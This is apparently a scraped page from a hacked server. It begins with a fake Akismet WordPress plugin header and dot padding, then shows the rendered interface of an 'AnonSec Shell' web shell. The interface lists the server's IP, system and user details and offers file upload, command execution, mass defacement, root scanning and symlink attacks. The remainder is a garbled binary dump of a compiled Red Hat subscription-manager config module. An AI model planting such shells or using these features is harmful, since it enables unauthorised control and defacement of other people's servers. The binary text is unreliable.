#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python2.7/site-packages/rhsm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib64/python2.7/site-packages/rhsm/config.pyo
�
L��ec@`sCddlmZmZmZddlZddlmZddlmZm	Z	m
Z
ddlZdZdZ
dZde
Zd	Zd
ZdZdZd
ZdZdZdZdZdZdZied6ed6ed6ed6dd6dd6dd6dd6dd6dd 6dd!6dd"6Zid#ed$6dd%6ed&6d'd(6d)d*6ed+6d,d-6d.d/6dd06d.d16d2d36d4d56d.d66dd76d.d86Zid9d:6d;d<6d.d=6dd>6dd?6d@dA6ZidBdC6ZidDdE6ZiedF6edG6edH6edI6edJ6Z dK�Z!dLefdM��YZ"dNe"fdO��YZ#ddP�Z%dS(Qi(tprint_functiontdivisiontabsolute_importN(tSafeConfigParser(t
NoOptionErrortInterpolationMissingOptionErrortNoSectionErrortRHSM_CONFIGs
/etc/rhsm/s/etc/rhsm-host/s%srhsm.conft3128t180ssubscription.rhsm.redhat.comt443s
/subscriptionscdn.redhat.comt/s
/etc/rhsm/ca/s/etc/pki/entitlements/etc/pki/entitlement-hostthostnametprefixtporttserver_timeoutt0tinsecuret3tssl_verify_depthttproxy_hostnamethttptproxy_schemet
proxy_usert
proxy_porttproxy_passwordtno_proxyshttps://tbaseurltrepomd_gpg_urltca_cert_dirs%(ca_cert_dir)sredhat-uep.pemtrepo_ca_certs/etc/pki/producttproductcertdirtentitlementcertdirs/etc/pki/consumertconsumercertdirt1tmanage_repostfull_refresh_on_yumtreport_package_profiles/usr/share/rhsm-pluginst	plugindirs/etc/rhsm/pluginconf.dt
pluginconfdirtauto_enable_yum_pluginstpackage_profile_on_transtinotifyt240tcertcheckintervalt1440tautoattachintervaltsplaytdisabletauto_registrationt60tauto_registration_intervalt300tprocesstimeouttINFOtdefault_log_leveltservertrhsmt	rhsmcertdtrhsmdtloggingcC`stjjt�rtStS(s�
    Are we running in a docker container or not?

    Assumes that if we see host rhsm configuration shared with us, we must
    be running in a container.
    (tostpathtexiststHOST_CONFIG_DIRtTruetFalse(((s1/usr/lib64/python2.7/site-packages/rhsm/config.pytin_containerlstRhsmConfigParsercB`s�eZdZddd�Zdd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�Zd
�ZRS(s*Config file parser for rhsm configuration.cC`s*||_tj|�|j|j�dS(N(tconfig_fileRt__init__tread(tselfRFtdefaults((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRG{s	
cC`s#t|jd�}|j|�dS(sWrites config file to storage.twN(topenRFtwrite(RIRFtfo((s1/usr/lib64/python2.7/site-packages/rhsm/config.pytsave�scC`sytj|||�SWn�tk
r�tt|�j||t�}tjd|�}t}xQ|D]I}|j	||�rdtt|�j
|||j||��t}qdqdW|r�|j||�S�nIttfk
r}yt
||j�SWqtk
r|�qXnXdS(sjGet a value from rhsm config.

        :param section: config file section
        :type section: str
        :param prop: what config propery to find, the config item name
        :type prop: str
        :return: The string value of the config item.
        :rtype: str

        If config item exists, but is not set,
        an empty string is return.
        s%\((.*?)\)sN(RtgetRtsuperRERBtretfindallRCt
has_optiontsetRRtDEFAULTStlowertKeyError(RItsectiontproptraw_valtinterpolationstchangedtinterpter((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRP�s$


(

cC`sny%|j||�|kr$t�nWnB|j|�sJ|j|�ntt|�j|||�nXdS(N(RPRthas_sectiontadd_sectionRQRERU(RIRYtnametvalue((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRU�s
cC`sf|j||�}|dkr"dSyt|�}Wn-ttfk
ratd||f��nX|S(s�Get a int value from the config.

        :param section: the config section
        :type section: str
        :param prop: the config item name
        :type prop: str
        :return: An int cast from the string read from
            the config. If config item is unset,
            return None
        :rtype: int or None
        :raises ValueError: if the config value found
                        can not be coerced into an int
        Rs2Section: %s, Property: %s - Integer value expectedN(RPtNonetintt
ValueErrort	TypeError(RIRYRZtvalue_stringt	value_int((s1/usr/lib64/python2.7/site-packages/rhsm/config.pytget_int�scC`sZg}xGtD]?}|gtt|j��D]\}}||f^q-7}q
Wt|�S(N(RVtlisttitemstdict(RItresultRYtkeyRc((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRJ�s
=cC`sFtt|�j�}x*tD]"}||kr|j|�qqW|S(N(RQREtsectionsRVtappend(RIRnRY((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRp�s

cC`s1y|j||�tSWntk
r,tSXdS(N(RPRBRRC(RIRYRZ((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRT�s

cC`s�i}x,tj|i�D]}t||||<qW|j|�r�tt|�j|�}x`|D]U}|j||�rct|j||�j��dkrc|j||�||<qcqcWnt|j	��S(Ni(
RVRPR`RQREtoptionstlentstripRkRl(RIRYRnRotsuper_result((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRl�s
6 cC`stt�}x'tj|i�D]}|j|�qW|j|�rjtt|�j|�}|j|�nt	|�S(N(
RURVRPtaddR`RQRERrtupdateRk(RIRYRlRoRu((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRr�s	cC`s |j||�|krtStS(N(tget_defaultRBRC(RIRYRZRc((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyt
is_default�scC`s |tko|j�t|kS(N(RVRW(RIRYRZ((s1/usr/lib64/python2.7/site-packages/rhsm/config.pythas_defaultscC`s.|j||j��r*t||j�SdS(N(RzRWRVRd(RIRYRZ((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRxsN(t__name__t
__module__t__doc__RdRGRORPRURjRJRpRTRlRrRyRzRx(((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRExs	&	
								tRhsmHostConfigParsercB`seZdZddd�ZRS(s
    Sub-class of config parser automatically loaded when we detect that
    we're running in a container environment.

    Host config is shared with containers as /etc/rhsm-host. However the
    rhsm.conf within will still be referencing /etc/rhsm for a couple
    properties. (ca_cert_dir, repo_ca_cert)

    Instead we load config file normally, and assume to replace occurrences
    of /etc/rhsm with /etc/rhsm-host in these properties.

    A similar adjustment is necessary for /etc/pki/entitlement-host if
    present.
    cC`s�tj|||�|jdd�}|jdd�}|jtt�}|jtt�}|jdd|�|jdd|�tjj	t
�r�|jdd�}|tks�|tdkr�t
}n|jdd|�ndS(NR:RRR!R(RERGRPtreplacetDEFAULT_CONFIG_DIRRARUR>R?R@tHOST_ENT_CERT_DIRtDEFAULT_ENT_CERT_DIR(RIRFRJRRtent_cert_dir((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyRGs	N(R{R|R}RdRG(((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyR~scC`s�|rtd|�atSy
taWntk
r<danXtdkr�t�rstdtjjt	d��aq�tdt
�antS(s
    Get an :class:`RhsmConfig` instance

    Will use the first config file defined in the following list:

    - argument to this method if provided (only for tests)
    - /etc/rhsm-host/rhsm.conf if it exists (only in containers)
    - /etc/rhsm/rhsm.conf
    RFs	rhsm.confN(REtCFGt	NameErrorRdRDR~R>R?tjoinRAtDEFAULT_CONFIG_PATH(RF((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyt
initConfig2s



	(&t
__future__RRRR>tiniparseRtiniparse.compatRRRRRtCONFIG_ENV_VARR�RAR�tDEFAULT_PROXY_PORTtDEFAULT_SERVER_TIMEOUTtDEFAULT_HOSTNAMEtDEFAULT_PORTtDEFAULT_PREFIXtDEFAULT_CDN_HOSTNAMEtDEFAULT_CDN_PORTtDEFAULT_CDN_PREFIXtDEFAULT_CA_CERT_DIRR�R�tSERVER_DEFAULTSt
RHSM_DEFAULTStRHSMCERTD_DEFAULTStRHSMD_DEFAULTStLOGGING_DEFAULTSRVRDRER~RdR�(((s1/usr/lib64/python2.7/site-packages/rhsm/config.pyt<module>s�






	�'

Anon7 - 2022
AnonSec Team